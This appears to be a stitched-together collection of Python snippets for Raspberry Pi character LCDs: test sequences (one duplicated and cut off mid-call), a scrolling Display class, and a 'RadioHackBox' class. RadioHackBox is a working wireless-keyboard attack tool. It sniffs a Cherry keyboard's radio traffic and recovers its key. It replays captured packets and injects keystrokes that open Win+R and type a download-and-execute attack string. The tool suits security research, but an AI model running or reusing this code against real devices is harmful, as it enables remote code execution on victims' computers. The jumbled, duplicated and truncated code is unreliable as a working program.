def write_to_lcd(ifname): lcd = CharLCD() lcd.clear() lcd.home() lcd.write_string(get_hostname()) lcd.cursor_pos = (1, 0) lcd.write_string(get_device_type()) lcd.cursor_pos = (2, 0) lcd.write_string(get_ip_address(ifname))
lcd.cursor_pos = (0, 5) lcd.write_string('12345') input('The string should have a left offset of 5 characters. ') lcd.write_shift_mode = ShiftMode.display lcd.cursor_pos = (1, 5) lcd.write_string('12345') input('Both strings should now be at column 0. ') lcd.write_shift_mode = ShiftMode.cursor lcd.cursor_pos = (1, 5) lcd.write_string(lcd.write_shift_mode.name) input('The string "cursor" should now be on the second row, column 0. ') lcd.home() input('Cursor should now be at initial position. Everything should be shifted to the right by 5 characters. ') with cursor(lcd, 1, 15): lcd.write_string('X') input('The last character on the LCD should now be an "X"') lcd.display_enabled = False input('Display should now be blank. ') with cleared(lcd): lcd.write_string('Eggs, Ham\n\rand Spam') lcd.display_enabled = True input('Display should now show "Eggs, Ham and Spam" with a line break after "Ham". ') lcd.shift_display(4)
lcd.cursor_pos = (0, 5) lcd.write_string('12345') input('The string should have a left offset of 5 characters. ') lcd.write_shift_mode = ShiftMode.display lcd.cursor_pos = (1, 5) lcd.write_string('12345') input('Both strings should now be at column 0. ') lcd.write_shift_mode = ShiftMode.cursor lcd.cursor_pos = (1, 5) lcd.write_string(lcd.write_shift_mode.name) input('The string "cursor" should now be on the second row, column 0. ') lcd.home() input( 'Cursor should now be at initial position. Everything should be shifted to the right by 5 characters. ' ) with cursor(lcd, 1, 15): lcd.write_string('X') input('The last character on the LCD should now be an "X"') lcd.display_enabled = False input('Display should now be blank. ') with cleared(lcd): lcd.write_string('Eggs, Ham\n\rand Spam') lcd.display_enabled = True input(
class RadioHackBox(): """Radio Hack Box""" def __init__(self): """Initialize the nRF24 radio and the Raspberry Pi""" self.state = IDLE # current state self.lcd = None # LCD self.radio = None # nRF24 radio self.address = None # address of Cherry keyboard (CAUTION: Reversed byte order compared to sniffer tools!) self.channel = 6 # used ShockBurst channel (was 6 for all tested Cherry keyboards) self.payloads = [] # list of sniffed payloads self.kbd = None # keyboard for keystroke injection attacks try: # disable GPIO warnings GPIO.setwarnings(False) # initialize LCD self.lcd = CharLCD(cols=16, rows=2, pin_rs=15, pin_rw=18, pin_e=16, pins_data=[21, 22, 23, 24]) self.lcd.clear() self.lcd.home() self.lcd.write_string(APP_NAME) self.lcd.cursor_pos = (1, 0) self.lcd.write_string(SYSS_BANNER) # use Raspberry Pi board pin numbers GPIO.setmode(GPIO.BOARD) # set up the GPIO pins GPIO.setup(RED_LED, GPIO.OUT, initial = GPIO.LOW) GPIO.setup(GREEN_LED, GPIO.OUT, initial = GPIO.LOW) GPIO.setup(BLUE_LED, GPIO.OUT, initial = GPIO.LOW) GPIO.setup(RECORD_BUTTON, GPIO.IN, pull_up_down = GPIO.PUD_DOWN) GPIO.setup(REPLAY_BUTTON, GPIO.IN, pull_up_down = GPIO.PUD_DOWN) GPIO.setup(ATTACK_BUTTON, GPIO.IN, pull_up_down = GPIO.PUD_DOWN) GPIO.setup(SCAN_BUTTON, GPIO.IN, pull_up_down = GPIO.PUD_DOWN) # set callcack functions GPIO.add_event_detect(RECORD_BUTTON, GPIO.RISING, callback = self.buttonCallback, bouncetime = 250) GPIO.add_event_detect(REPLAY_BUTTON, GPIO.RISING, callback = self.buttonCallback, bouncetime = 250) GPIO.add_event_detect(ATTACK_BUTTON, GPIO.RISING, callback = self.buttonCallback, bouncetime = 250) GPIO.add_event_detect(SCAN_BUTTON, GPIO.RISING, callback = self.buttonCallback, bouncetime = 250) # initialize radio self.radio = nrf24.nrf24() # enable LNA self.radio.enable_lna() # show startup info for some time with blinkenlights self.blinkenlights() # start scanning mode self.setState(SCAN) except: # error when initializing Radio Hack Box self.lcd.clear() self.lcd.home() self.lcd.write_string(u"Error: 0xDEAD") self.lcd.cursor_pos = (1, 0) self.lcd.write_string(u"Please RTFM!") def blinkenlights(self): """Blinkenlights""" for i in range(10): GPIO.output(RED_LED, GPIO.HIGH) GPIO.output(GREEN_LED, GPIO.HIGH) GPIO.output(BLUE_LED, GPIO.HIGH) sleep(0.1) GPIO.output(RED_LED, GPIO.LOW) GPIO.output(GREEN_LED, GPIO.LOW) GPIO.output(BLUE_LED, GPIO.LOW) sleep(0.1) def setState(self, newState): """Set state""" # set LCD content self.lcd.clear() self.lcd.home() self.lcd.write_string(APP_NAME) self.lcd.cursor_pos = (1, 0) if newState == RECORD: # set RECORD state self.state = RECORD # set LEDs GPIO.output(RED_LED, GPIO.HIGH) GPIO.output(GREEN_LED, GPIO.LOW) GPIO.output(BLUE_LED, GPIO.LOW) # set LCD content self.lcd.write_string(u"Recording ...") elif newState == REPLAY: # set REPLAY state self.state = REPLAY # set LEDs GPIO.output(RED_LED, GPIO.LOW) GPIO.output(GREEN_LED, GPIO.HIGH) GPIO.output(BLUE_LED, GPIO.LOW) # set LCD content self.lcd.write_string(u"Replaying ...") elif newState == SCAN: # set SCAN state self.state = SCAN # set LEDs GPIO.output(RED_LED, GPIO.LOW) GPIO.output(GREEN_LED, GPIO.LOW) GPIO.output(BLUE_LED, GPIO.HIGH) # set LCD content self.lcd.write_string(u"Scanning ...") elif newState == ATTACK: # set ATTACK state self.state = ATTACK # set LEDs GPIO.output(RED_LED, GPIO.LOW) GPIO.output(GREEN_LED, GPIO.HIGH) GPIO.output(BLUE_LED, GPIO.LOW) # set LCD content self.lcd.write_string(u"Attacking ...") elif newState == SHUTDOWN: # set SHUTDOWN state self.state = SHUTDOWN # set LEDs GPIO.output(RED_LED, GPIO.LOW) GPIO.output(GREEN_LED, GPIO.LOW) GPIO.output(BLUE_LED, GPIO.LOW) # set LCD content self.lcd.write_string(u"Shutdown ...") else: # set IDLE state self.state = IDLE # set LEDs GPIO.output(RED_LED, GPIO.LOW) GPIO.output(GREEN_LED, GPIO.LOW) GPIO.output(BLUE_LED, GPIO.LOW) # set LCD content self.lcd.write_string(SYSS_BANNER) def buttonCallback(self, channel): """Callback function for user input (pressed buttons)""" # record button state transitions if channel == RECORD_BUTTON: # if the current state is IDLE change it to RECORD if self.state == IDLE: # set RECORD state self.setState(RECORD) # empty payloads list self.payloads = [] # if the current state is RECORD change it to IDLE elif self.state == RECORD: # set IDLE state self.setState(IDLE) # play button state transitions elif channel == REPLAY_BUTTON: # if the current state is IDLE change it to REPLAY if self.state == IDLE: # set REPLAY state self.setState(REPLAY) # scan button state transitions elif channel == SCAN_BUTTON: # wait a short a time to see whether the record button is also # press in order to perform a graceful shutdown # remove event detection for record button GPIO.remove_event_detect(RECORD_BUTTON) chan = GPIO.wait_for_edge(RECORD_BUTTON, GPIO.RISING, timeout=1000) if chan != None: # set SHUTDOWN state self.setState(SHUTDOWN) # set callback function for record button GPIO.remove_event_detect(RECORD_BUTTON) GPIO.add_event_detect(RECORD_BUTTON, GPIO.RISING, callback = self.buttonCallback, bouncetime = 250) # if the current state is IDLE change it to SCAN if self.state == IDLE: # set SCAN state self.setState(SCAN) # attack button state transitions elif channel == ATTACK_BUTTON: # if the current state is IDLE change it to ATTACK if self.state == IDLE: # set ATTACK state self.setState(ATTACK) # debug output debug("State: {0}".format(self.state)) def unique_everseen(self, seq): """Remove duplicates from a list while preserving the item order""" seen = set() return [x for x in seq if str(x) not in seen and not seen.add(str(x))] def run(self): # main loop try: while True: if self.state == RECORD: # info output info("Start RECORD mode") # receive payload value = self.radio.receive_payload() if value[0] == 0: # split the payload from the status byte payload = value[1:] # add payload to list self.payloads.append(payload) # info output, show packet payload info('Received payload: {0}'.format(hexlify(payload))) elif self.state == REPLAY: # info output info("Start REPLAY mode") # remove duplicate payloads (retransmissions) payloadList = self.unique_everseen(self.payloads) # replay all payloads for p in payloadList: # transmit payload self.radio.transmit_payload(p.tostring()) # info output info('Sent payload: {0}'.format(hexlify(p))) # set IDLE state after playback sleep(0.5) # delay for LCD self.setState(IDLE) elif self.state == SCAN: # info output info("Start SCAN mode") # put the radio in promiscuous mode self.radio.enter_promiscuous_mode(PREFIX_ADDRESS) # define channels for scan mode channels = [6] # set initial channel self.radio.set_channel(channels[0]) # sweep through the defined channels and decode ESB packets in pseudo-promiscuous mode last_tune = time() channel_index = 0 while True: # increment the channel if len(channels) > 1 and time() - last_tune > DWELL_TIME: channel_index = (channel_index + 1) % (len(channels)) self.radio.set_channel(channels[channel_index]) last_tune = time() # receive payloads value = self.radio.receive_payload() if len(value) >= 5: # split the address and payload address, payload = value[0:5], value[5:] # convert address to string and reverse byte order converted_address = address[::-1].tostring() # check if the address most probably belongs to a Cherry keyboard if ord(converted_address[0]) in range(0x31, 0x3f): # first fit strategy to find a Cherry keyboard self.address = converted_address break # set LCD content self.lcd.clear() self.lcd.home() self.lcd.write_string("Found keyboard") self.lcd.cursor_pos = (1, 0) address_string = ':'.join('{:02X}'.format(b) for b in address) self.lcd.write_string(address_string) # info output info("Found keyboard with address {0}".format(address_string)) # put the radio in sniffer mode (ESB w/o auto ACKs) self.radio.enter_sniffer_mode(self.address) last_key = 0 packet_count = 0 while True: # receive payload value = self.radio.receive_payload() if value[0] == 0: # do some time measurement last_key = time() # split the payload from the status byte payload = value[1:] # increment packet count packet_count += 1 # show packet payload info('Received payload: {0}'.format(hexlify(payload))) # heuristic for having a valid release key data packet if packet_count >= 4 and time() - last_key > SCAN_TIME: break self.radio.receive_payload() # show info on LCD self.lcd.cursor_pos = (1, 0) self.lcd.write_string(u"Got crypto key!") # info output info('Got crypto key!') # initialize keyboard self.kbd = keyboard.CherryKeyboard(payload.tostring()) info('Initialize keyboard') # set IDLE state after scanning sleep(LCD_DELAY) # delay for LCD self.setState(IDLE) elif self.state == ATTACK: # info output info("Start ATTACK mode") if self.kbd != None: # # send keystrokes for a classic PoC attack # keystrokes = [] # keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) # keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R)) # keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) # keystrokes += self.kbd.getKeystrokes(u"cmd") # keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN) # keystrokes += self.kbd.getKeystrokes(u"rem All your base are belong to SySS!") # keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN) # send keystrokes for a classic download and execute PoC attack keystrokes = [] keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R)) keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) # send attack keystrokes for k in keystrokes: self.radio.transmit_payload(k) # info output info('Sent payload: {0}'.format(hexlify(k))) # need small delay after WIN + R sleep(0.1) keystrokes = [] keystrokes = self.kbd.getKeystrokes(ATTACK_VECTOR) keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN) # send attack keystrokes with a small delay for k in keystrokes: self.radio.transmit_payload(k) # info output info('Sent payload: {0}'.format(hexlify(k))) # set IDLE state after attack sleep(0.5) # delay for LCD self.setState(IDLE) elif self.state == SHUTDOWN: # info output info("SHUTDOWN") sleep(0.5) # perform graceful shutdown command = "/usr/bin/sudo /sbin/shutdown -h now" process = subprocess.Popen(command.split(), stdout=subprocess.PIPE) output = process.communicate()[0] # show info on LCD self.lcd.clear() self.lcd.home() self.lcd.write_string(APP_NAME) self.lcd.cursor_pos = (1, 0) self.lcd.write_string("3, 2, 1, gone.") # clean GPIO pin settings GPIO.cleanup() exit(1) except KeyboardInterrupt: exit(1) finally: # clean up GPIO pin settings GPIO.cleanup()
class Display(object): """ Represents a physical character dispaly """ COLUMNS = 16 """ configure the number of columns of the display """ ROWS = 2 """ configure the number of rows of the display """ SCROLL_STEP_DURATION = 0.3 # sec """ while scrolling text, how long to show one frame """ def __init__(self, pin_rs, pin_contrast, pin_rw, pin_e, pins_data): """ See the display manual for the meaning of the pins. :param pin_rs: the GPIO pin for RS :param pin_contrast: the GPIO pin for contrast :param pin_rw: the GPIO pin for RW :param pin_e: the GPIO pin for E :param pins_data: the GPIO data pins (array with 4 integers) :return: """ self.pins_data = pins_data self.pin_e = pin_e self.pin_rw = pin_rw self.pin_contrast = pin_contrast self.pin_rs = pin_rs self._queue = Queue() self.contrast = None self.lcd = None self.standby_function = None def start(self): """ start the worker thread to handle animation """ self.setup() worker_thread = threading.Thread(target=self._run) worker_thread.daemon = True worker_thread.start() LOG.debug("started display") def setup(self): """ setup GPIO pins and start GPIO PWM """ from RPLCD import CharLCD from RPi import GPIO as GPIO GPIO.setup(self.pin_contrast, GPIO.OUT) self.lcd = CharLCD( pin_rs=self.pin_rs, pin_rw=self.pin_rw, pin_e=self.pin_e, pins_data=self.pins_data, numbering_mode=GPIO.BOARD, cols=Display.COLUMNS, rows=Display.ROWS, dotsize=8, ) self.lcd.cursor_pos = (0, 0) # the contrast needs a curtain current, found value by try and error self.contrast = GPIO.PWM(self.pin_contrast, 1000) self.contrast.start(40) def _run(self): """ internal function that runs endless loop """ while True: # get message from the queue, wait if there is no message msg = self._queue.get(block=True) # set the cursor to row 0, column 0 self.lcd.home() start_time = time.time() while self._queue.empty() and (time.time() - start_time) < msg.duration: # the display is always filled with spaces. This avoids the requirement to call clear() and this # avoids flickering. self.lcd.write_string(msg.get_line1()) self.lcd.write_string(msg.get_line2()) # scroll the text one step msg.scroll() # sleep to keep the scrolling text for a moment (but stop if there is another message waiting) sleep_until(lambda: not self._queue.empty(), Display.SCROLL_STEP_DURATION) # if the queue is empty and there is a standby function: run it. if self._queue.empty(): if self.standby_function: self.standby_function() def set_standby_function(self, func): """ defines a function that should be run when there is nothing else to display. :param func: the function that will be called """ self.standby_function = func def show(self, sec, line1, line2="", scroll=True, centered=True): """ show the given text on the display. The request is queued until the previous request has finished. :param sec: how many seconds to display the text for :param line1: text for first line :param line2: text for second lind :param scroll: True to enable scrolling :param centered: True to center the text (looks nice!) """ msg = Display.Message( duration=sec, scroll=scroll, line1=Display.Line(line1, scroll=scroll, centered=centered), line2=Display.Line(line2, scroll=scroll, centered=centered), ) self._queue.put(msg) class Line(object): """ Represents one line on the display . It has its own scroll state. """ SCROLL_BREAK = " - " """ symbols to show between text when scrolling """ def __init__(self, text, scroll=False, centered=False): """ :param text: text to scroll :param scroll: True to enable scrolling :param centered: True to center the text (looks nice!) """ self.text = Display.Line._clean(text) if centered: spaces = Display.COLUMNS - len(self.text) if spaces > 0: leftspaces = int(spaces / 2) rightspaces = int(spaces - leftspaces) self.text = " " * leftspaces + self.text + " " * rightspaces # only scroll if the text is too long self.scroll_enabled = scroll and len(self.text) > Display.COLUMNS # current scroll position self.scroll_offset = 0 def get(self): """ the text that should be displayed in the current scrolling position """ if self.scroll_enabled: long_line = self.text + Display.Line.SCROLL_BREAK + self.text result = long_line[self.scroll_offset : Display.COLUMNS + self.scroll_offset] else: result = self.text[0 : Display.COLUMNS] return result.ljust(Display.COLUMNS) def scroll(self): """ scroll one step (if enabled) """ if self.scroll_enabled: self.scroll_offset += 1 if self.scroll_offset == len(self.text) + len(Display.Line.SCROLL_BREAK): self.scroll_offset = 0 @staticmethod def _clean(string): """ internal helper method to strip newlines from the string. Newlines are shown as empty character, which is not what we want. :param string: string to clean :return: cleaned string """ return string.replace("\n", "").strip() def __str__(self): """ :return: text representation for debugging """ return "%s" % self.text class Message: """ represents a message to display, may contain 2 lines. """ def __init__(self, duration, line1, line2, scroll=True): """ :param duration: how many seconds to display the text for :param line1: text for first line :param line2: text for second lind :param scroll: True to enable scrolling """ self.line1 = line1 self.line2 = line2 self.duration = duration def scroll(self): """ scroll one step (if enabled) """ self.line1.scroll() self.line2.scroll() def get_line1(self): """ :return: the text that should be displayed in line 1 in the current scrolling position """ return self.line1.get() def get_line2(self): """ :return: the text that should be displayed in line 2 in the current scrolling position """ return self.line2.get() def __str__(self): """ :return: text representation for debugging """ return "%s/%s(%s sec)" % (self.line1, self.line2, self.duration)